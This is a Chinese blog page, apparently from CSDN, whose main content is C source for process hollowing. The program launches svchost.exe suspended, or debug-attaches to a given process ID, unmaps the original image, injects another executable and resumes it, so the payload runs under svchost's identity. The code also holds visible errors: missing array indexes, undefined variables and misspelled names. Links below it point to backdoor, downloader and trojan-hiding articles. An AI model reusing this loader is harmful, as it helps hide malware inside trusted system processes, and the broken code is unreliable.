一个向别的进程插入dll的代码

逆向工程核心原理——代码注入 什么是代码注入? 代码注入是一种向目标进程插入独立运行代码并使之运行的技术,它一般调用CreateRemoteThread()API以远程线程形式运行插入的代码,所以也被称为线程注入。 使用代码注入的原因 其实,代码注入要实现的功能与DLL注入类似,但具体实施时要考虑的事项更多,使用起来 更加不便。那它的优点究竟是什么呢? 1.占用内存少 如果要注入的代码与数据较少,那么就不需要将它们做成DLL的形式再注入。此时直接采用 代码注入的方式同样能够获得与DLL注入相同的效果,且占用... 阅读详情
 
#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};

struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};


struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};

struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};


struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};

struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
      SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);

if(fileSize < sizeof(MZHeader))
{
  printf("File size too small/n"); 
  return false;
}

// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);

if(mzH.signature != 0x5a4d)  // MZ
{
  printf("File does not have MZ header/n");
  return false;
}

printf("Offset to PE Header = %X/n", mzH.offsetToPE);

if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
  printf("File size too small/n"); 
  return false;
}

// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);

printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
printf("Number of sections = %d/n", peH.numSections);

if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
  printf("Unexpected option header size./n");
 
  return false;
}

// read PE Ext Header
PE_ExtHeader peXH;

fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

printf("Import table address = %X/n", peXH.importTableAddress);
printf("Import table size = %X/n", peXH.importTableSize);
printf("Import address table address = %X/n", peXH.importAddressTableAddress);
printf("Import address table size = %X/n", peXH.importAddressTableSize);


// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];

fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;

return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;

if(inpeXH->sizeOfHeaders % alignment == 0)
  result += inpeXH->sizeOfHeaders;
else
{
  int val = inpeXH->sizeOfHeaders / alignment;
  val++;
  result += (val * alignment);
}


for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.virtualSize)
  {
    if(inSecHdr.virtualSize % alignment == 0)
      result += inSecHdr.virtualSize;
    else
    {
      int val = inSecHdr.virtualSize / alignment;
      val++;
      result += (val * alignment);
    }
  }
}

return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{ 
if(curSize % alignment == 0)
  return curSize;
else
{
  int val = curSize / alignment;
  val++;
  return (val * alignment);
}
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;

fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;

// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.

for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.pointerToRawData < headerSize)
    headerSize = inSecHdr.pointerToRawData;
}

// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d/n", headerSize);
if(readSize != headerSize)
{
  printf("Error reading headers (%d %d)/n", readSize, headerSize);
  return false; 
}

outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

// read the sections
for(i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.sizeOfRawData > 0)
  {
    unsigned long toRead = inSecHdr.sizeOfRawData;
    if(toRead > inSecHdr.virtualSize)
      toRead = inSecHdr.virtualSize;

    fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
    readSize = fread(outPtr, 1, toRead, fp);

    if(readSize != toRead)
    {
      printf("Error reading section %d/n", i);
      return false;
    }
    outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
  else
  {
    // this handles the case where the PE file has an empty section. E.g. UPX0 section
    // in UPXed files.

    if(inSecHdr.virtualSize)
      outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
}

return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
  long delta = newBase - inpeXH->imageBase;

  while(fixBlk->blockSize)
  {
    printf("Addr = %X/n", fixBlk->pageRVA);
    printf("Size = %X/n", fixBlk->blockSize);

    int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
    printf("Num Entries = %d/n", numEntries);

    unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

    for(int i = 0; i < numEntries; i++)
    {
      DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
     
      int relocType = (*offsetPtr & 0xF000) >> 12;
     
      printf("Val = %X/n", *offsetPtr);
      printf("Type = %X/n", relocType);

      if(relocType == 3)
        *codeLoc = ((DWORD)*codeLoc) + delta;
      else
      {
        printf("Unknown relocation type = %d/n", relocType);
      }
      offsetPtr++;
    }

    fixBlk = (FixupBlock *)offsetPtr;
  }
} 
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
  {
if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) 
{
  ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);

  DWORD *pebInfo = (DWORD *)ctx->Ebx;
  DWORD read;
  ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

  DWORD curAddr = outChildProcInfo->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
  {
    if(memInfo.State == MEM_FREE)
      break;
    curAddr += memInfo.RegionSize;
  }
  outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

  return TRUE;
}
} else
{
  DEBUG_EVENT DBEvent;
  if(DebugActiveProcess((DWORD)*PID))
  {
    WaitForDebugEvent(&DBEvent,INFINITE);
    pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
    pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
    ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);
  DWORD *pebInfo2 = (DWORD *)ctx->Fs;
  *pedInfo2+=0x30;
  DWORD read2;
  ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);

  DWORD curAddr2 = outChildProcInfo2->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo2;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
  {
    if(memInfo2.State == MEM_FREE)
      break;
    curAddr2+= memInfo2.RegionSize;
  }
  outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

  return TRUE;
  }
}

return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  return TRUE;
}
return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//  thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;

if(createChild(&pi, &ctx, &childInfo))
{ 
  printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
  printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
 
  LPVOID v = (LPVOID)NULL;
 
  if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
  {
    // if new EXE has same baseaddr and is its size is <= to the original EXE, just
    // overwrite it in memory
    v = (LPVOID)childInfo.baseAddr;
    DWORD oldProtect;
    VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);     
   
    printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
  }
  else
  {
    // get address of ZwUnmapViewOfSection
    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

    // try to unmap the original EXE image
    if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
    {
      // allocate memory for the new EXE image at the prefered imagebase.
      v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if(v)
        printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
    }
  }

  if(!v && hasRelocationTable(inpeXH))
  {
    // if unmap failed but EXE is relocatable, then we try to load the EXE at another
    // location
    v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(v)
    {
      printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

      // we've got to do the relocation ourself if we load the image at another
      // memory location     
      doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
    }
  }

  printf("EIP = %X/n", ctx.Eip);
  printf("EAX = %X/n", ctx.Eax);
  printf("EBX = %X/n", ctx.Ebx);  // EBX points to PEB
  printf("ECX = %X/n", ctx.Ecx);
  printf("EDX = %X/n", ctx.Edx);
 
  if(v)
  {     
    printf("New EXE Image Size = %X/n", imageSize);
   
    // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
    DWORD *pebInfo = (DWORD *)ctx.Ebx;
    DWORD wrote;         
    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

    // patch the base addr in the PE header of the EXE that we load ourselves
    PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
    peXH->imageBase = (DWORD)v;
   
    if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
    { 
      printf("New EXE image injected into process./n");

      ctx.ContextFlags=CONTEXT_FULL;     
      //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
     
      if((DWORD)v == childInfo.baseAddr)
      {
        ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }
      else
      {
        // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
        // performed.
        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }

      printf("********> EIP = %X/n", ctx.Eip);
      printf("********> EAX = %X/n", ctx.Eax);

      SetThreadContext(pi.hThread,&ctx);

      ResumeThread(pi.hThread);
      printf("Process resumed (PID = %d)./n", pi.dwProcessId);
    }
    else
    {
      printf("WriteProcessMemory failed/n");
      TerminateProcess(pi.hProcess, 0);
    }
  }
  else
  {
    printf("Load failed. Consider making this EXE relocatable./n");
    TerminateProcess(pi.hProcess, 0);
  }
}
else
{
  printf("Cannot load %s/n", TARGETPROC);
}
}




int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
  printf("/nUsage: %s [pid]/n", argv[0]);
  return 1;
}
  if(argc==3){
  alloc(PID,1024);
  memset(PID,0,1024);
  strcpy(PID,argv[2]);
  EXPD= True ;
  }
 
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
  MZHeader mzH;
  PE_Header peH;
  PE_ExtHeader peXH;
  SectionHeader *secHdr;

  if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
  {
    int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
    printf("Image Size = %X/n", imageSize);

    LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(ptrLoc)
    {
      printf("Memory allocated at %X/n", ptrLoc);
      loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                     
     
      doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);             
    }
    else
      printf("Allocation failed/n");
  }

  fclose(fp);
}
else
  printf("/nCannot open the EXE file!/n");

return 0;
}
古典黑客技术之HOOK API 古典黑客技术之HOOK APIHOOK API技术可以拦截、控制某些API函数的调用。当一个API函数被拦截之后,用户可以让目标程序执行事先准备好的代码。(比如说,构造的代码是过滤此API函数传入的参数的,而此API函数又是用来获取进程的,当此API被拦截之后,我们就可以让它转去执行过滤参数的代码。)PE文件的导入表HOOK API其实是对远程进程内存数据的修改,可以通过修改导入表中的导入函数地址表 阅读详情

相关推荐

第22章插入DLL和挂接API

第22章插入DLL和挂接API 在MicrosoftWindows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址上的内存,那么这个错误不会影响另一个进程使用的内存。 在Windows98下运行的各个进程共享2GB的地址空间

Lydia的博客 1900

一个向别的进程插入dll的代码收藏

#include "stdafx.h"#include "windows.h"#include "tlhelp32.h"#include "ntpsapi.h"struct PE_Header{unsigned long signature;unsigned short machine;unsigned short num

大浪淘沙的专栏 990

Detours学习之十三:Detours API用于将dll和有效负载插入新进程的api

用于将dll和有效负载插入新进程的api DetourCreateProcessWithDllEx DetourCreateProcessWithDlls DetourCopyPayloadToProcess DetourCopyPayloadToProcessEx DetourFinishHelperProcess DetourIsHelperProcess DetourRestoreAfterWith 一、DetourCreateProcessWithDllEx 创建一个新进程并将DLL

jyl_sh的专栏 3461

PE文件感染

最近学习了一下PE文件,看了份PE文件感染源码,分析了一下,其实就是修改进程,抛砖引玉 本来想把整个代码发下,但是太大了,只发函数的 #/////读取文件PE信息 BOOL readPEInfo(FILE* fp,MZHeader* outMZ,PE_Header* outPE,PE_ExtHeader* outpeXH,SectionHeader** outSecHdr) {

magedhenary的专栏 1178

把dll模块注入到游戏进程的方法_插APC注入

APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。

douluo998的博客 1173

动态库dll与静态库lib编程5:进程注入技术

动态库dll与静态库lib编程5:进程注入技术。

qq_59940419的博客 1805

最基础的插入进程代码

//获得进程句柄 HWND hwnd=::FindWindow(NULL,"计算器"); if(!hwnd) {  AfxMessageBox("请打开计算器");  return; }  //取得进程句柄和进程ID DWORD Process,ProcessId; Process=::GetWindowThreadProcessId(hwnd,&ProcessId);  //利用进程句柄

低调’s Blog 716

HOOK API——Windows核心编程 第22章 插入DLL和挂接API学习笔记

介绍:HOOK API是指截获特定进程或系统对某个API函数的调用,使得API的执行流程转向指定的代码。Windows下的应用程序都建立在API函数至上,所以截获API是一项相当有用的技术,它使得用户有机会干预其它应用程序的程序流程。最常用的一种挂钩API的方法是改变目标进程中调用API函数的代码,使得它们对API的调用变为对用户自定义函数的调用。HOOK API和HOOK技术完全不同。尽

super_chris的专栏 9524

NB的内存加载exe文件

原理: 1. 把你的程序读要内存 2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe 3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面 4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了 原文来自哪里忘记了,。呵呵 // #in

木休的斋堂 1992

18650锂电池充放电测试全流程:从实验室到实际应用的避坑指南

本文详细介绍了18650锂电池充放电测试的全流程,从实验室设备选型到实际应用中的常见问题解决方案。涵盖测试前的准备工作、标准测试流程执行、动态工况测试以及数据深度分析方法,为电池测试工程师和科研人员提供实用的避坑指南。特别针对电压平台异常和温度异常等关键问题,提供了专业的诊断与解决措施。

weixin_30790841的博客 546

Windows系统下复现PointNet++算法

本文详细介绍了如何在Windows系统下复现PointNet++算法,内容包括程序下载、环境配置、数据集准备以及三个主要任务(语义分割、分类、部件分割)的实现步骤和常见报错解决方法。通过遵循本文的指导,用户可以顺利完成PointNet++算法的复现。

LingYi_5的博客 4326

一个向别的进程插入dll的代码 .

--------- Functions in C --------------- CONTEXT OriginalContext; //Get/SetThreadContext's parameter char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //my section...Offset of Code

或许 561

RV1126B芯片实战:如何用这款视觉处理器SoC打造你的第一个AI摄像头项目

本文详细介绍了如何利用瑞芯微RV1126B视觉处理器SoC从零构建AI摄像头项目。涵盖硬件选型、开发环境搭建、ISP配置、AI模型部署及系统集成等关键步骤,帮助开发者高效实现边缘计算方案,特别适合智能安防和工业检测应用。

dropout6artist的博客 931

NC.EXE结合线程插入技术做的一个后门

LOOK         这是我写一文章,把NC.EXE结合线程插入技术做的一个后门,,,     你看看吧         不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。     下面我给出

lionzl的专栏 1000

秋叶ComfyUI-v10中文整合包:全中文AI绘画一键部署与实战指南

Stable Diffusion作为当前主流的扩散模型,通过去噪过程从随机噪声生成高质量图像,其开源特性推动了AI绘画技术的普及。然而,其官方WebUI在自定义工作流和可复现性上存在局限,而基于节点流程的ComfyUI则提供了更高的自由度和工程化控制能力,尤其适合复杂、可重复的创作流程。对于中文用户而言,英文界面和提示词输入是主要障碍。秋叶出品的ComfyUI-v10中文整合包,正是针对这一痛点,提供了**全中文界面**和**原生中文提示词支持**的解决方案。该整合包将Python环境、依赖库及常用插件预配

weixin_33895475的博客 401

STM32MP157+AD7606BSTZ四通道IEPE传感器控制器实战(附电路图)

本文详细介绍了基于STM32MP157和AD7606BSTZ的四通道IEPE传感器控制器设计实战,涵盖硬件架构、数据采集芯片对比、关键电路设计及信号处理算法。通过双核协同工作和优化算法,实现高精度振动监测与故障诊断,适用于工业机械状态监测等场景。

weixin_29171129的博客 367

无Dll插入进程,下载者VC源代码

 http://hi.baidu.com/core22/blog/item/f5399d23c1f9bb40ac34de73.html 无Dll插入进程,下载者VC源代码2007-12-30 15:29     生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多

Richard的专栏 1589

HFSS/ADS仿真实操:手把手调优一个2.4GHz SAW滤波器的IDT结构

本文详细介绍了使用HFSS和ADS仿真工具优化2.4GHz表面声波滤波器(SAW)的IDT结构。从材料参数设置到IDT建模,再到参数化扫描与频率调谐,提供了实用的操作步骤和优化技巧,帮助工程师快速掌握SAW滤波器的设计方案与性能调优方法。

weixin_29197835的博客 533

木马隐藏技术(3) -- 进程注入

此为《木马技术揭秘与防御》系列读书笔记 进程注入prerequirement 类似的说法: 线程插入、DLL注入、远程线程插入 线程插入: 让一个线程在别的进程中执行 DLL文件隐藏的原理: dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。 进程注...

weixin_30511107的博客 704

Halcon实战:5种边缘检测算子对比(Sobel、Roberts、Prewitt、Kirsch、Canny)

本文深入对比了Halcon中Sobel、Roberts、Prewitt、Kirsch和Canny五大边缘检测算子的实战表现与核心差异。通过工业图像实例与代码解析,提供了基于噪声水平、边缘连续性及实时性要求的场景化选型指南,帮助工程师精准选择最适合的算子以优化视觉检测流程。

weixin_29266007的博客 393

安卓逆向实战:用Batch Apktool 3.8.0快速汉化APK的完整流程

本文详细解析了如何使用Batch Apktool 3.8.0进行安卓APK汉化的完整流程,包括环境配置、反编译、资源解析、深度汉化、重构建与签名优化等关键步骤。通过这款集成化逆向工具,开发者可以高效完成APK汉化,提升工作效率。

s1t2u3的博客 1101

NT环境下进程隐藏的实现

 在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的

227

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

用DLL控制Windows中进程的方法

在Microsoft Windows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一銎湟用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址系内存,那么这个错误不会影响另一个进程使用的内存。Windows 98 在Windows 98下运行的各个进程共享2 GB的地址空间,该地址空间从0x

cnim549405865的专栏 712

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

上一篇: About Handling Nmi
下一篇: Uninformed Journal Release Announcement: Volume 10
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值